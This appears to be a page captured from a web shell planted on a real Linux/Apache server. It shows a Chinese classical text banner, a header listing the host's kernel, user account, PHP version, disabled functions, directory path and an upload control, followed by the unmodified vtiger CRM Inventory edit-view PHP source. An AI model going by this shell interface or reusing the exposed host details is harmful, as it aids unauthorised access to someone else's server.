晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/www/crm/modules/Inventory/views/ |
Upload File : |
<?php
/*+***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*************************************************************************************/
Class Inventory_Edit_View extends Vtiger_Edit_View {
public function process(Vtiger_Request $request) {
$viewer = $this->getViewer($request);
$moduleName = $request->getModule();
$record = $request->get('record');
$sourceRecord = $request->get('sourceRecord');
$sourceModule = $request->get('sourceModule');
if(empty($sourceRecord) && empty($sourceModule)) {
$sourceRecord = $request->get('returnrecord');
$sourceModule = $request->get('returnmodule');
}
$viewer->assign('MODE', '');
$viewer->assign('IS_DUPLICATE', false);
if ($request->has('totalProductCount')) {
if($record) {
$recordModel = Vtiger_Record_Model::getInstanceById($record);
} else {
$recordModel = Vtiger_Record_Model::getCleanInstance($moduleName);
}
$relatedProducts = $recordModel->convertRequestToProducts($request);
$taxes = $relatedProducts[1]['final_details']['taxes'];
} else if(!empty($record) && $request->get('isDuplicate') == true) {
$recordModel = Inventory_Record_Model::getInstanceById($record, $moduleName);
$currencyInfo = $recordModel->getCurrencyInfo();
$taxes = $recordModel->getProductTaxes();
$relatedProducts = $recordModel->getProducts();
//While Duplicating record, If the related record is deleted then we are removing related record info in record model
$mandatoryFieldModels = $recordModel->getModule()->getMandatoryFieldModels();
foreach ($mandatoryFieldModels as $fieldModel) {
if ($fieldModel->isReferenceField()) {
$fieldName = $fieldModel->get('name');
if (Vtiger_Util_Helper::checkRecordExistance($recordModel->get($fieldName))) {
$recordModel->set($fieldName, '');
}
}
}
$viewer->assign('IS_DUPLICATE', true);
} elseif (!empty($record)) {
$recordModel = Inventory_Record_Model::getInstanceById($record, $moduleName);
$currencyInfo = $recordModel->getCurrencyInfo();
$taxes = $recordModel->getProductTaxes();
$relatedProducts = $recordModel->getProducts();
$viewer->assign('RECORD_ID', $record);
$viewer->assign('MODE', 'edit');
} elseif (($request->get('salesorder_id') || $request->get('quote_id') || $request->get('invoice_id')) && ($moduleName == 'PurchaseOrder')) {
if ($request->get('salesorder_id')) {
$referenceId = $request->get('salesorder_id');
} elseif ($request->get('invoice_id')) {
$referenceId = $request->get('invoice_id');
} else{
$referenceId = $request->get('quote_id');
}
$parentRecordModel = Inventory_Record_Model::getInstanceById($referenceId);
$currencyInfo = $parentRecordModel->getCurrencyInfo();
$relatedProducts = $parentRecordModel->getProductsForPurchaseOrder();
$taxes = $parentRecordModel->getProductTaxes();
$recordModel = Vtiger_Record_Model::getCleanInstance($moduleName);
$recordModel->setRecordFieldValues($parentRecordModel);
} elseif ($request->get('salesorder_id') || $request->get('quote_id')) {
if ($request->get('salesorder_id')) {
$referenceId = $request->get('salesorder_id');
} else {
$referenceId = $request->get('quote_id');
}
$parentRecordModel = Inventory_Record_Model::getInstanceById($referenceId);
$currencyInfo = $parentRecordModel->getCurrencyInfo();
$taxes = $parentRecordModel->getProductTaxes();
$relatedProducts = $parentRecordModel->getProducts();
$recordModel = Vtiger_Record_Model::getCleanInstance($moduleName);
$recordModel->setRecordFieldValues($parentRecordModel);
} else {
$taxes = Inventory_Module_Model::getAllProductTaxes();
$recordModel = Vtiger_Record_Model::getCleanInstance($moduleName);
//The creation of Inventory record from action and Related list of product/service detailview the product/service details will calculated by following code
if ($request->get('product_id') || $sourceModule === 'Products' || $request->get('productid')) {
if($sourceRecord) {
$productRecordModel = Products_Record_Model::getInstanceById($sourceRecord);
} else if($request->get('product_id')) {
$productRecordModel = Products_Record_Model::getInstanceById($request->get('product_id'));
} else if($request->get('productid')) {
$productRecordModel = Products_Record_Model::getInstanceById($request->get('productid'));
}
$relatedProducts = $productRecordModel->getDetailsForInventoryModule($recordModel);
} elseif ($request->get('service_id') || $sourceModule === 'Services') {
if($sourceRecord) {
$serviceRecordModel = Services_Record_Model::getInstanceById($sourceRecord);
} else {
$serviceRecordModel = Services_Record_Model::getInstanceById($request->get('service_id'));
}
$relatedProducts = $serviceRecordModel->getDetailsForInventoryModule($recordModel);
} elseif ($sourceRecord && in_array($sourceModule, array('Accounts', 'Contacts', 'Potentials', 'Vendors', 'PurchaseOrder'))) {
$parentRecordModel = Vtiger_Record_Model::getInstanceById($sourceRecord, $sourceModule);
$recordModel->setParentRecordData($parentRecordModel);
if ($sourceModule !== 'PurchaseOrder') {
$relatedProducts = $recordModel->getParentRecordRelatedLineItems($parentRecordModel);
}
} elseif ($sourceRecord && in_array($sourceModule, array('HelpDesk', 'Leads'))) {
$parentRecordModel = Vtiger_Record_Model::getInstanceById($sourceRecord, $sourceModule);
$relatedProducts = $recordModel->getParentRecordRelatedLineItems($parentRecordModel);
}
}
$deductTaxes = $relatedProducts[1]['final_details']['deductTaxes'];
if (!$deductTaxes) {
$deductTaxes = Inventory_TaxRecord_Model::getDeductTaxesList();
}
$taxType = $relatedProducts[1]['final_details']['taxtype'];
$moduleModel = $recordModel->getModule();
$fieldList = $moduleModel->getFields();
$requestFieldList = array_intersect_key($request->getAllPurified(), $fieldList);
//get the inventory terms and conditions
$inventoryRecordModel = Inventory_Record_Model::getCleanInstance($moduleName);
$termsAndConditions = $inventoryRecordModel->getInventoryTermsAndConditions();
foreach($requestFieldList as $fieldName=>$fieldValue) {
$fieldModel = $fieldList[$fieldName];
if($fieldModel->isEditable()) {
$recordModel->set($fieldName, $fieldModel->getDBInsertValue($fieldValue));
}
}
$recordStructureInstance = Vtiger_RecordStructure_Model::getInstanceFromRecordModel($recordModel, Vtiger_RecordStructure_Model::RECORD_STRUCTURE_MODE_EDIT);
$viewer->assign('VIEW_MODE', "fullForm");
$isRelationOperation = $request->get('relationOperation');
//if it is relation edit
$viewer->assign('IS_RELATION_OPERATION', $isRelationOperation);
if($isRelationOperation) {
$viewer->assign('SOURCE_MODULE', $sourceModule);
$viewer->assign('SOURCE_RECORD', $sourceRecord);
}
if(!empty($record) && $request->get('isDuplicate') == true) {
$viewer->assign('IS_DUPLICATE',true);
} else {
$viewer->assign('IS_DUPLICATE',false);
}
$currencies = Inventory_Module_Model::getAllCurrencies();
$picklistDependencyDatasource = Vtiger_DependencyPicklist::getPicklistDependencyDatasource($moduleName);
$recordStructure = $recordStructureInstance->getStructure();
$viewer->assign('PICKIST_DEPENDENCY_DATASOURCE',Vtiger_Functions::jsonEncode($picklistDependencyDatasource));
$viewer->assign('RECORD',$recordModel);
$viewer->assign('RECORD_STRUCTURE_MODEL', $recordStructureInstance);
$viewer->assign('RECORD_STRUCTURE', $recordStructure);
$viewer->assign('MODULE', $moduleName);
$viewer->assign('CURRENTDATE', date('Y-n-j'));
$viewer->assign('USER_MODEL', Users_Record_Model::getCurrentUserModel());
$taxRegions = $recordModel->getRegionsList();
$defaultRegionInfo = $taxRegions[0];
unset($taxRegions[0]);
$viewer->assign('TAX_REGIONS', $taxRegions);
$viewer->assign('DEFAULT_TAX_REGION_INFO', $defaultRegionInfo);
$viewer->assign('INVENTORY_CHARGES', Inventory_Charges_Model::getInventoryCharges());
$viewer->assign('RELATED_PRODUCTS', $relatedProducts);
$viewer->assign('DEDUCTED_TAXES', $deductTaxes);
$viewer->assign('TAXES', $taxes);
$viewer->assign('TAX_TYPE', $taxType);
$viewer->assign('CURRENCINFO', $currencyInfo);
$viewer->assign('CURRENCIES', $currencies);
$viewer->assign('TERMSANDCONDITIONS', $termsAndConditions);
$productModuleModel = Vtiger_Module_Model::getInstance('Products');
$viewer->assign('PRODUCT_ACTIVE', $productModuleModel->isActive());
$serviceModuleModel = Vtiger_Module_Model::getInstance('Services');
$viewer->assign('SERVICE_ACTIVE', $serviceModuleModel->isActive());
// added to set the return values
if ($request->get('returnview')) {
$request->setViewerReturnValues($viewer);
}
if ($request->get('displayMode') == 'overlay') {
$viewer->assign('SCRIPTS', $this->getOverlayHeaderScripts($request));
echo $viewer->view('OverlayEditView.tpl', $moduleName);
} else {
$viewer->view('EditView.tpl', 'Inventory');
}
}
/**
* Function to get the list of Script models to be included
* @param Vtiger_Request $request
* @return <Array> - List of Vtiger_JsScript_Model instances
*/
function getHeaderScripts(Vtiger_Request $request) {
$headerScriptInstances = parent::getHeaderScripts($request);
$moduleName = $request->getModule();
$modulePopUpFile = 'modules.'.$moduleName.'.resources.Popup';
$moduleEditFile = 'modules.'.$moduleName.'.resources.Edit';
unset($headerScriptInstances[$modulePopUpFile]);
unset($headerScriptInstances[$moduleEditFile]);
$jsFileNames = array(
'modules.Inventory.resources.Edit',
'modules.Inventory.resources.Popup',
'modules.PriceBooks.resources.Popup',
);
$jsFileNames[] = $moduleEditFile;
$jsFileNames[] = $modulePopUpFile;
$jsScriptInstances = $this->checkAndConvertJsScripts($jsFileNames);
$headerScriptInstances = array_merge($headerScriptInstances, $jsScriptInstances);
return $headerScriptInstances;
}
public function getOverlayHeaderScripts(Vtiger_Request $request) {
$moduleName = $request->getModule();
$modulePopUpFile = 'modules.'.$moduleName.'.resources.Popup';
$moduleEditFile = 'modules.'.$moduleName.'.resources.Edit';
$jsFileNames = array(
'modules.Inventory.resources.Popup',
'modules.PriceBooks.resources.Popup',
);
$jsFileNames[] = $moduleEditFile;
$jsFileNames[] = $modulePopUpFile;
$jsScriptInstances = $this->checkAndConvertJsScripts($jsFileNames);
return $jsScriptInstances;
}
}